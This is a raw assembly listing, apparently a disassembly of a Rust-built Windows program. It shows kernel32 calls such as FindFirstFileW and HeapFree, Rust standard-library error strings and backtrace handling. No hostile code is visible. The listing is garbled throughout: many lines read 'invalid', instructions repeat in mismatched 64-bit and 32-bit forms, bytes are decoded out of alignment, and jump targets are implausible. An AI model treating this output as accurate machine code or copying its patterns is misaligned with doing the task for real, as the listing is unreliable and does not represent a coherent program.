adc dword [rdx], eax
add byte [rcx + rcx*4 - 0xf], cl
invalid
adc dword [rdx], eax
add byte [rcx + rcx*4 - 0xf], cl
mov rdx, r15
call qword [sym.imp.kernel32.dll_FindFirstFileW]
add al, byte [rax]
add al, byte [rax]
cmp rax, 0xffffffffffffffff
cmp eax, 0xffffffff
je 0x14007fd10
test byte [rbx + 0x48000000], dh
mov ecx, eax
invalid
add byte [rax - 0x77], cl
mov rcx, rax
sar edi, 0x15
push 0xffffffffffffff96
add al, byte [rax]
invalid
call qword [sym.imp.kernel32.dll_FindClose]
add byte [rbx + 0x100fa045], cl
movsb byte [rdi], byte [rsi]
movsb byte [rdi], byte [rsi]
mov eax, dword [rbp - 0x60]
movups xmm0, xmmword [rbp - 0x5c]
movsb byte [rdi], byte [rsi]
movsb byte [rdi], byte [rsi]
movsd xmm1, qword [rbp - 0x4c]
mov edx, dword [rbp - 0x40]
ror byte [rcx + 0x15e1c1c1], 0xc1
stc
invalid
and ecx, dword [rbp - 0x3c]
mov r8d, dword [rbp - 0x44]
mov eax, dword [rbp - 0x44]
ror byte [rcx + 0x15e1c1c1], 0xc1
stc
invalid
mov eax, dword [rbp - 0x44]
mov r12d, 0x7174db85
test ebx, ebx
je 0x14007fcf9
shl r8, 0x20
shl eax, 0x20
or r8, rdx
mov qword [rsi], 0
mov dword [rsi], 0
mov dword [rsi], 0
mov dword [rsi + 0x10], 0
adc byte [rax], r8b
add byte [rax], al
add bh, al
mov dword [rsi + 0x18], 0
movups xmmword [rsi + 0x20], xmm0
adc dword [rsi + 0x20], eax
sbb byte [rax], r8b
add byte [rax], al
add byte [rdi], cl
adc dword [rsi + 0x20], eax
movlps qword [rsi + 0x30], xmm1
mov qword [rsi + 0x38], r8
mov dword [rsi + 0x40], eax
mov dword [rsi + 0x44], ecx
jmp 0x14007fd1b
mov qword [rsi + 8], rdi
mov dword [rsi + 8], edi
mov qword [rsi], 2
jmp 0x14007fcd9
mov rcx, rsi
mov rdx, rdi
call fcn.14007d030
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
nop
add rsp, 0x2c0
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
test eax, 0x400
je 0x14007fc88
mov r9d, ecx
and r9d, 0x20000000
loope 0x14007fd07
add byte [rax], al
and byte [rdi], cl
test byte [rax - 1], bh
invalid
invalid
loope 0x14007fd07
add byte [rax], al
and byte [rdi], cl
test byte [rax - 1], bh
invalid
mov qword [rsi + 8], rdi
mov qword [rsi], 2
test r12, r12
in al, 0x74
invalid
in al, 0x74
mov ecx, 0xf90d8b48
add al, 7
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x295fe
adc eax, 0x295fe
jmp 0x14007fcd9
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
adc byte [rbp + 0x41], dl
push rdi
adc byte [rbp + 0x41], dl
push rdi
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
and byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
lea rcx, [rbp + 0x230]
xor byte [rdx], al
add byte [rax], al
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
invalid
invalid
lea esi, [rax]
invalid
xor byte [rdx], al
add byte [rax], al
add al, byte [rax]
add al, ch
jp 0x14007fd64
call fcn.1400777b0
invalid
call qword [rax + 0x20c48348]
nop
add rsp, 0x20
invalid
and byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
int3
int3
int3
int3
sub esp, 0x40
lea rbp, [rsp + 0x40]
lea ebp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
invalid
mov qword [rbp - 0x10], rcx
invalid
mov qword [rbp - 0x18], rdx
call qword [rdx]
mov rax, qword [rbp - 0x18]
call 0x1488080ec
invalid
je case.0x14007e71e.104
invalid
call 0x1488080ec
add byte [rbp + rcx + 0x48], dh
or eax, 0x10788348
invalid
js case.0x14007f006.32
or eax, 0x10788348
adc dword [rbx + 0xc], esi
jae case.0x14007e8da.72
cmp qword [rax + 0x10], 0x11
adc byte [rcx], dl
jae case.0x14007e8da.72
or al, 0x4c
mov eax, dword [rbp - 0x10]
mov r8, qword [rbp - 0x10]
jmp case.0x14007e71e.106
add rsp, 0x40
add esp, 0x40
invalid
pop rbp
ret
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
mov r8, qword [r8 - 8]
clc
mov rcx, qword [0x1400f0220]
push rdi
add al, 7
add byte [rcx], dh
invalid
xor edx, edx
add rsp, 0x40
invalid
pop rbp
ror byte [rax - 0x7d], cl
invalid
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x29559
add byte [rsi + 0xf], ah
invalid
nop word [rax + rax]
test byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
invalid
adc byte [rbp + 0x48], dl
sub esp, 0x20
invalid
push rbp
sub rsp, 0x20
and byte [rax - 0x73], cl
lea rbp, [rdx + 0x40]
lea ebp, [rdx + 0x40]
push 0x40
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
mov edx, dword [rax + 8]
mov r8, qword [rax + 0x10]
adc byte [rax - 0x75], cl
invalid
mov rcx, qword [rbp - 0x10]
call fcn.1400755d0
nop
add rsp, 0x20
add esp, 0x20
invalid
invalid
push rdi
invalid
call qword [rax + 0x20c48348]
invalid
and byte [rbp - 0x3d], bl
pop rbp
ret
int3
int3
int3
sub rsp, 0x28
mov rcx, qword [rcx]
mov ecx, dword [rcx]
in al, dx
sub byte [rax - 0x75], cl
invalid
mov ecx, dword [rcx]
or dword [rcx + 0x3e083c8], ecx
mov eax, ecx
and eax, 3
loopne 0x14007fe1f
lea rdx, [0x1400e80a8]
lea edx, [0x1400e80a8]
adc eax, 0x68285
test dword [rdx + 0x63480006], eax
invalid
invalid
add byte [rax + 0x63], cl
movsxd rax, dword [rdx + rax*4]
invalid
add al, 0x82
invalid
add rax, rdx
sar bh, 1
jmp rax
loopne 0x14007fe75
mov rax, qword [rcx]
mov eax, dword [rcx]
add dword [rax - 0x75], ecx
mov rdx, qword [rcx + 8]
jmp case.0x14007f006.59
push rcx
or bl, ch
xor ecx, dword [rax - 0x75]
mov eax, dword [rcx - 1]
invalid
invalid
mov rax, qword [rcx - 1]
mov eax, dword [rcx - 1]
dec dword [rax - 0x75]
mov rdx, qword [rcx + 7]
mov edx, dword [rcx + 7]
push rcx
invalid
mov rcx, rax
mov ecx, eax
sar edi, 0x52
call qword [rdx + 0x40]
jmp case.0x14007f006.59
jmp case.0x14007f006.59
shr rcx, 0x20
shr ecx, 0x20
jmp 0xc11ae66c
call fcn.140077f60
adc al, byte [rcx + 0xf48ffff]
invalid
dec dword [rax + 0xf]
movsx rax, al
mov esi, 0xd8d48c0
ror byte [rax - 0x73], 0xd
lea rcx, [0x1400e2ba8]
lea ecx, [0x1400e2ba8]
or eax, 0x62d4f
sub rax, 0xffffffff8b480006
sub eax, 0x8b480006
mov rdx, qword [rcx + rax*8]
mov edx, dword [rcx + rax*8]
adc al, 0xc1
lea rcx, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOscodekindmessageKind__os_error__
lea ecx, [0x1400e2cf0]
invalid
invalid
mov rax, qword [rcx + rax*8]
add al, 0xc1
add rsp, 0x28
add esp, 0x28
invalid
ret
shr rcx, 0x20
shr ecx, 0x20
jmp 0x169018194
and byte [rbx + 0x147728f9], al
cmp ecx, 0x28
ja case.0x14007f6f2.22
stc
sub byte [rdi + 0x14], dh
adc al, 0x48
lea rax, [0x1400e80b8]
lea eax, [0x1400e80b8]
cmp eax, dword [rdx + 0x63480006]
or al, 0x88
invalid
invalid
movsxd rcx, dword [rax + rcx*4]
invalid
mov byte [rax + 1], cl
sar edi, 0xe1
jmp rcx
add rcx, rax
add ecx, eax
jmp rcx
loope case.0x14007ec3b.61
xor eax, eax
jmp case.0x14007ec3b.45
shr bl, 0xc4
mov al, 0x29
sub ebx, ebp
sal byte [rax - 0x4f4314ff], 2
mov al, 1
jmp case.0x14007ec3b.45
mov al, 2
jmp case.0x14007ec3b.45
mov al, 1
jmp case.0x14007ec3b.45
mov al, 2
add ch, bl
jmp case.0x14007ec3b.45
mov eax, 0xb4eb03b0
mov al, 3
jmp case.0x14007ec3b.45
invalid
mov ah, 0xb0
add al, 0xeb
jmp case.0x14007ec3b.45
mov al, 5
jmp case.0x14007ec3b.45
mov al, 6
mov al, 4
jmp case.0x14007ec3b.45
mov al, 5
jmp case.0x14007ec3b.45
lodsb al, byte [rsi]
mov al, 6
invalid
jmp case.0x14007ec3b.45
mov al, 7
invalid
jmp case.0x14007ec3b.45
movsb byte [rdi], byte [rsi]
mov al, 8
jmp case.0x14007ec3b.45
mov al, 9
or ebx, ebp
jmp case.0x14007ec3b.45
pushfq
mov al, 0xa
jmp case.0x14007ec3b.45
cwde
cwde
mov al, 0xb
or ebp, ebx
xchg esp, eax
jmp case.0x14007ec3b.45
mov al, 0xc
jmp case.0x14007ec3b.45
mov al, 0xd
or eax, 0xeb08ceb
jmp case.0x14007ec3b.45
invalid
jmp case.0x14007ec3b.45
invalid
mov byte [rax - 0x4f7b14f1], dh
adc bl, ch
invalid
mov al, 0xf
jmp case.0x14007ec3b.45
mov al, 0x10
jmp case.0x14007ec3b.45
xor byte [rax - 0x8616ef], 0xff
jns 0x14007fed2
invalid
invalid
push qword [rax - 0x8d16ee]
jb 0x14007fed9
invalid
invalid
push qword [rax - 0x9416ed]
imul edi, edi, 0xffffffff
invalid
push qword [rax - 0x9b16ec]
invalid
push qword [rax - 0xa216eb]
invalid
push qword [rax - 0xa916ea]
invalid
invalid
push qword [rax - 0xb016e9]
invalid
push qword [rax - 0xb716e8]
invalid
push qword [rax - 0xbe16e7]
jmp case.0x14007ec3b.45
invalid
push qword [rax - 0xc516e6]
invalid
push qword [rax - 0xcc16e5]
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
jmp case.0x14007ec3b.45
invalid
invalid
mov eax, dword [rcx]
mov ecx, r8d
mov ecx, eax
and ecx, 3
xor eax, eax
lea rdx, [rcx - 2]
cmp rdx, 2
jae 0x14007ff9b
invalid
mov rax, qword [r8 + 7]
call qword [rax + 0x48]
nop
nop
add rsp, 0x28
ret
int3
int3
int3
mov eax, dword [rcx]
mov ecx, r8d
and ecx, 3
xor eax, eax
lea rdx, [rcx - 2]
cmp rdx, 2
cmp edx, 2
cmp edx, 2
jae 0x14007ffdb
jmp 0x14007ffeb
test rcx, rcx
je 0x14007ffeb
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
call qword [rax + 0x30]
nop
add rsp, 0x28
add esp, 0x28
ret
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
mov dword [rbp], 0xfffffffe
invalid
test r8, r8
je 0x140080247
mov r13, r8
mov rbx, rdx
mov rdi, rcx
mov rax, r8
shl rax, 4
xor edx, edx
xor ecx, ecx
cmp dword [rbx + rdx], 0
jne 0x140080052
inc rcx
add rdx, 0x10
adc byte [rax + 0x39], cl
sal byte [rbp - 0x12], 1
out dx, al
adc byte [rax + 0x39], cl
sal byte [rbp - 0x12], 1
out dx, al
out dx, al
cmp r13, rcx
jb 0x140080266
sub r13, rcx
je 0x140080247
add dword [rax], eax
invalid
shl rcx, 4
add rbx, rcx
lea r15, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
invalid
invalid
cmp eax, 0x65d0e
invalid
lea r14, [rbp - 0x28]
lea r12, [0x1400e815c]
jmp 0x1400800b8
mov eax, dword [rbp - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, rbx
mov rbx, rdx
mov ebx, edx
test r13, r13
test ebp, ebp
je 0x140080247
lea rax, [rbx - 0x10]
mov rsi, r13
shl rsi, 4
mov rcx, rsi
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
test rcx, rcx
je 0x1400800f0
mov r9d, dword [rax + 0x10]
add rax, 0x10
add rcx, 0xfffffffffffffff0
test r9, r9
je 0x1400800d0
invalid
invalid
xor r9d, r9d
mov r8, r15
mov eax, edi
mov eax, edi
mov qword [rsp + 0x20], rdi
mov rcx, r14
mov edx, 0xfffffff4
call fcn.140076450
cmp qword [rbp - 0x28], 0
je case.default.0x14008011f
mov rax, qword [rbp - 0x20]
mov ecx, eax
and ecx, 3
movsxd rcx, dword [r12 + rcx*4]
add rcx, r12
jmp rcx
mov r8, qword [rbp - 0x20]
test r8, r8
je 0x14008025d
xor edx, edx
xor ecx, ecx
mov rax, r8
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov r9d, dword [rbx + rdx]
sub rax, r9
jb 0x140080195
inc rcx
add rdx, 0x10
mov r8, rax
cmp rsi, rdx
jne 0x140080150
jmp 0x140080198
jmp 0x140080249
pop rbx
mov rax, r8
cmp r13, rcx
jb 0x140080266
mov r8, rcx
shl r8, 4
lea rdx, [rbx + r8]
sub r13, rcx
jne 0x1400801bf
test rax, rax
je 0x1400800ac
mov ecx, dword [rdx]
cmp rax, rcx
ja 0x1400802a5
je 0x1400800ac
mov rcx, qword [rbp - 0x20]
mov rax, rcx
mov rbx, rdx
nop dword [rax + rax]
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x1400800a9
test rcx, rcx
je 0x1400800a9
lea rcx, [rax - 1]
mov qword [rbp - 0x18], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
je 0x140080096
xor eax, eax
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
lea rax, str.failed_to_write_whole_buffer
jmp 0x140080249
lea r8, [0x1400e0cc8]
mov rdx, r13
call fcn.1400a43b0
ud2
lea eax, [0x1400e0d08]
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp - 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
lea rdx, [0x1400e0d18]
jmp 0x1400802d1
lea rcx, [rbp - 0x58]
call fcn.1400a4370
test al, 0xe8
xchg esi, eax
add al, byte [rax]
ud2
add byte [rax], al
add byte [rax], al
add rcx, 0x10
jmp qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
invalid
dec dword [rax - 0x77]
clc
lea rcx, [rax + 8]
call case.0x14007112a.20
test rax, rax
je 0x1400803ab
mov ecx, eax
and ecx, 3
cmp rcx, 2
jb 0x1400803b9
cmp ecx, 2
jne 0x1400803b9
mov rcx, rax
shr rcx, 0x20
cmp ecx, 6
jne 0x1400803b9
mov rax, qword [rbp - 8]
inc qword [rax]
xor eax, eax
jmp 0x140080454
invalid
add byte [rax - 0x75], cl
clc
mov rcx, qword [rbp - 8]
inc qword [rcx]
mov r8, qword [rsi + 8]
test r8, r8
je 0x14008044e
mov ecx, r8d
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x14008044e
mov qword [rsi + 8], rax
mov al, 1
add rsp, 0x58
pop rsi
pop rbp
ret
mov byte [rdi], 6
add al, ch
cdq
add al, byte [r8]
ud2
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x50]
mov rcx, qword [rbp - 8]
call fcn.1400763e0
nop
add rsp, 0x28
pop rsi
pop rbp
ret
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov rcx, qword [rsi]
mov qword [rsi], rbx
test rcx, rcx
je case.0x140079dc4.343
lock dec qword [rcx]
jne case.0x140079dc4.343
call fcn.140080750
jmp case.0x140079dc4.343
add byte [rax], al
add byte [rax], al
mov r8, qword [rbp - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
xor esi, esi
xor edx, edx
mov r8, qword [rbp - 0x18]
test qword [rsi], 0x31f63100
ror byte [rbx + rcx*4 + 0x45], cl
call 0xc85820dd
call qword [sym.imp.kernel32.dll_HeapFree]
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax - 0x75], cl
fdivr st(7)
fdivr st(7)
mov rcx, qword [rbp - 0x28]
dec dword [rcx + 0x20]
je 0x140080af3
fdivr st(7)
and byte [r10 + rcx + 0x48], sil
test rsi, rsi
test esi, esi
jne 0x140080b0a
jmp case.0x140079dc4.343
mov qword [rcx + 0x18], 0
sbb byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
add rcx, 0x10
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
add rcx, 0x10
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
test rsi, rsi
test esi, esi
je case.0x140079dc4.343
mov eax, esi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
dec byte [rax - 0x7d]
stc
add dh, byte [rdx + 0x61]
jb case.0x140079dc4.343
test rax, rax
je case.0x140079dc4.343
sal byte [rsp + rbx*2 + 0x48], 0x8d
dec dword [rax - 0x77]
call 0x13f569672
lea rax, [rsi - 1]
mov qword [rbp - 0x18], rax
mov rcx, qword [rsi - 1]
mov rax, qword [rsi + 7]
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x10], eax
mov dword [rbp - 0x10], eax
call qword [rax]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
je 0x140080b67
adc byte [rax - 0x75], cl
invalid
cmp qword [rax + 0x10], 0x11
jae 0x140080b50
mov r8, qword [rbp - 8]
jmp 0x140080b58
mov r8, qword [rbp - 8]
clc
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp - 0x18]
call qword [sym.imp.kernel32.dll_HeapFree]
mov dl, 0xf6
invalid
nop
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
sbb byte [r9], al
jmp 0x140080a87
invalid
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x60]
push 0x60
mov rcx, qword [rbp - 0x18]
mov edx, dword [rbp - 0x10]
invalid
call fcn.14007a860
lea rcx, [rbp - 0x38]
call fcn.140080e30
push 2
add byte [rax], al
call 0x128f86144
movabs dword [0xe8c84d8d48ffff9c], eax
push 2
add byte [rax], al
invalid
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x60]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax + 8]
mov edx, dword [rax + 8]
mov edx, dword [rax + 8]
push rax
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax - 0x75], cl
invalid
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
mov ecx, dword [rbp - 0x20]
mov ecx, dword [rbp - 0x20]
loopne 0x140080bda
call fcn.1400755d0
mov rcx, qword [rbp - 8]
fimul dword [rcx - 1]
dec dword [rax - 0x75]
clc
call fcn.14008b740
add byte [rax], al
nop
add rsp, 0x28
invalid
invalid
pop rbx
invalid
sub byte [rbx + 0x5f], bl
pop rdi
pop rsi
pop rbp
ret
invalid
add byte [rax], 0
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
push 0x60
lea ebp, [rdx + 0x60]
push 0x60
lea rcx, [rbp - 0x38]
call fcn.140076bb0
xchg byte [rdi - 1], bl
call qword [rax + 0x28c48348]
xchg byte [rdi - 1], bl
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop rbp
ret
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
push rax
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax - 0x75], cl
clc
push rax
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax - 0x75], cl
clc
call fcn.1400755d0
mov rcx, qword [rbp - 0x18]
call 0x140b2de56
invalid
call 0x140b2de56
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
invalid
invalid
shr dword [rdx + 0x48900000], 1
add esp, 0x28
invalid
invalid
nop
add rsp, 0x28
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov dword [rsp + 0x10], edx
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x60]
mov rcx, qword [rbp - 0x28]
call fcn.140080330
invalid
nop
add rsp, 0x28
pop rbx
pop rdi
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop rbp
ret
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x60]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 8]
call fcn.1400755d0
mov rcx, qword [rbp - 0x18]
call fcn.14008b740
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
invalid
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
mov eax, dword [rax + 7]
mov eax, dword [rax + 7]
mov qword [rbp - 8], rcx
mov dword [rbp - 8], ecx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
je 0x140080da3
dec dword [rax]
jne 0x140080e41
or ecx, ebp
psubw mm7, mm7
inc ebx
int3
int3
sub esp, 0x28
mov rsi, r8
mov rbx, rdx
mov rdi, qword [rcx]
mov rax, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
sub rax, r14
cmp rax, r8
jb 0x140080e96
add dword [rax], eax
add r14, rsi
mov qword [rdi + 0x10], r14
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
sub al, 0xbe
add dword [rax], eax
add byte [rax], al
jmp 0x140080f5c
mov esi, 2
jmp 0x140080f5c
cli
invalid
add eax, dword [rax]
add byte [rax], al
jmp 0x140080f5c
invalid
xor al, 0xc1
call 0x14c0f3340
and al, 7
or al, 0xf0
and al, 7
or al, 0xf0
mov byte [rsp + 0x2c], al
sub al, 0x89
rol cl, 1
call 0x14c473347
or byte [rax - 0x76d2dbbc], 0xd0
sub al, 0x89
rol cl, 1
call 0x14c473347
or byte [rax - 0x76d2dbbc], 0xd0
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2f], dl
mov esi, 4
add byte [rax], al
add byte [rax], al
mov rdi, qword [rcx]
mov rax, qword [rdi + 8]
or byte [rax - 0x75], cl
pop rdi
adc byte [rax + 0x29], cl
fmul dword [rax + 0x39]
invalid
mov rbx, qword [rdi + 0x10]
sub rax, rbx
cmp rax, rsi
jb case.0x14007f006.84
mov rcx, qword [rdi]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
ror byte [rax - 0x7d], 0xc4
invalid
ror byte [rax - 0x7d], 0xc4
xor byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rbx
pop rdi
pop rsi
ret
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.1400a5460
mov rbx, qword [rdi + 0x10]
mov ebx, dword [rdi + 0x10]
jmp 0x140080f6f
dec esp
sub al, ch
invalid
add byte [rax], al
add byte [rdi], cl
ud2
int3
int3
add byte [rax], al
ud2
int3
mov qword [rbp - 0x18], rdx
mov dword [rbp - 0x18], edx
mov qword [rbp - 0x10], rcx
lock inc qword [0x1400f02b8]
jle case.0x14007eb6e.97
invalid
invalid
cmp eax, 0xf2ca058b
invalid
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
and eax, 0x58
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
and eax, 0x58
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
test byte [rax + 0xc0], 1
add byte [rax], al
add byte [rcx], al
jne case.0x14007eb6e.97
and dword [rbx + 0x6f2ae05], ecx
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
and eax, 0x58
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
inc qword [rax + 0xb8]
mov byte [rax + 0xc0], 0
add byte [rax], al
invalid
add byte [rax], al
add al, ch
call fcn.140081070
call fcn.140081070
ud2
or ecx, dword [rdi]
invalid
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
lea ebp, [rdx + 0x40]
lea ebp, [rdx + 0x40]
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 0x18]
call fcn.14007fd80
invalid
nop
call qword [rax + 0x20c48348]
add rsp, 0x20
pop rbp
ret
int3
int3
int3
add ch, cl
sub dword [rdi], ecx
or ecx, esp
int 0x29
ud2
int3
int3
int3
sub esp, 0x40
mov rax, qword [0x1400f01c8]
cmp rax, 3
ja case.default.0x1400810a4
invalid
invalid
add byte [rax], al
add byte [rax], al
cmp al, 0xf1
invalid
xchg dword [rax + 0x48000000], edi
mov eax, 0x48000000
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x670cf
jo 0x1400810a2
invalid
lea rcx, [0x1400e816c]
lea ecx, [0x1400e816c]
iretd
jo 0x1400810a2
invalid
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
jmp rax
lea rdx, str.RUST_BACKTRACEfailed_to_write_the_buffered_data
lea rcx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
and al, 0x20
mov r8d, 0xe
add byte [rax], al
add al, ch
pushfq
invalid
add byte [rax], al
call fcn.14007ad00
cmp byte [rsp + 0x38], 2
cmp byte [rdx], al
jne case.0x1400795ae.377
mov eax, 3
add eax, dword [rax]
add byte [rax], al
mov sil, 2
mov dh, 2
add ch, bl
jno 0x14008110f
invalid
jmp 0x14008113f
mov sil, 1
mov dh, 1
jmp 0x140081146
xor esi, esi
jmp 0x140081146
mov sil, 2
jmp 0x140081146
mov r8, qword [rsp + 0x20]
and al, 0x20
and byte [rax - 0x75], cl
and al, 0x28
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
cmp rcx, 4
je 0x140081104
cmp rcx, 1
jne 0x140081123
cmp byte [r8], 0x30
cmp byte [rax], 0x30
xor byte [rax + 0xf], al
xchg esp, eax
sete sil
add sil, sil
invalid
mov byte [rax], 0xf6
imul bl
and dword [rcx - 0x75], eax
or byte [rdi], cl
leave
jmp 0x140081125
mov ecx, dword [r8]
bswap ecx
xor edx, edx
cmp ecx, 0x66756c6d
invalid
jne 0x140081177
setae dl
setae dl
xchg ebx, eax
ret 0xf981
stc
cmp ecx, 0x66756c6c
stc
insb byte [rdi], dx
insb byte [rdi], dx
jne 0x140081180
invalid
sbb dx, 0
sbb edx, 0
sete sil
jmp 0x140081125
xor esi, esi
test rax, rax
je 0x140081139
mov rcx, qword [0x1400f0220]
out dx, eax
invalid
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea eax, [rsi + 1]
movzx eax, al
mov qword [0x1400f01c8], rax
mov dword [0x1400f01c8], eax
add byte [rcx - 0x3b7cb710], cl
pop rsi
mov eax, esi
add rsp, 0x40
add esp, 0x40
pop rsi
ret
